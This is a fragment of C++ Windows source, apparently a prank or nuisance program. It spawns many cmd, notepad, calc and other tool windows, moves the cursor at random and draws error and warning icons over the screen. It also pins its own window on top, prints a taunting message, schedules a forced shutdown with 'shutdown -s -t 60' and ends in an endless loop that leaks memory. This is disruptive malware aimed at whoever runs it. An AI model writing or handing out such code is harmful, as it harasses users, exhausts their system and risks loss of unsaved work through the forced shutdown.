Sleep(1500);
ShowWindow(hwnd,SW_MINIMIZE);
for (int i = 1;i <= 6;i++)
system("start cmd");
for (int i = 1;i <= 2;i++)
{
SetCursorPos(rand()%1000,rand()%1000);
system("start notepad");
SetCursorPos(rand()%1000,rand()%1000);
system("start calc");
SetCursorPos(rand()%1000,rand()%1000);
system("start winver");
SetCursorPos(rand()%1000,rand()%1000);
system("start Nslookup");
SetCursorPos(rand()%1000,rand()%1000);
system("start cleanmgr");
SetCursorPos(rand()%1000,rand()%1000);
system("start charmap");
SetCursorPos(rand()%1000,rand()%1000);
system("start dxdiag");
fanzhuan();
}
system("start cmd");
double start = clock();
double end = clock() - start;
while (end < 4000)
{
end = clock() - start;
SetCursorPos(rand()%1000,rand()%1000);
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
Sleep(0.5);
SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
MoveWindow(hwnd,650,350,600,400,TRUE);
cout << "你的电脑真好玩,xxx~";
system("cls");
}
for (int i = 1;i <= 2;i++)
fanzhuan();
for (int i = 1;i <= 5;i++)
system("shutdown -s -t 60");
Sleep(500);
while (1)
{
SetCursorPos(rand()%1000,rand()%1000);
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
Sleep(0.5);
malloc(1000);
SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
MoveWindow(hwnd,650,350,600,400,TRUE);
cout << "你的电脑真好玩,xxx~";
fanzhuan();
system("cls");
}
return 0;
}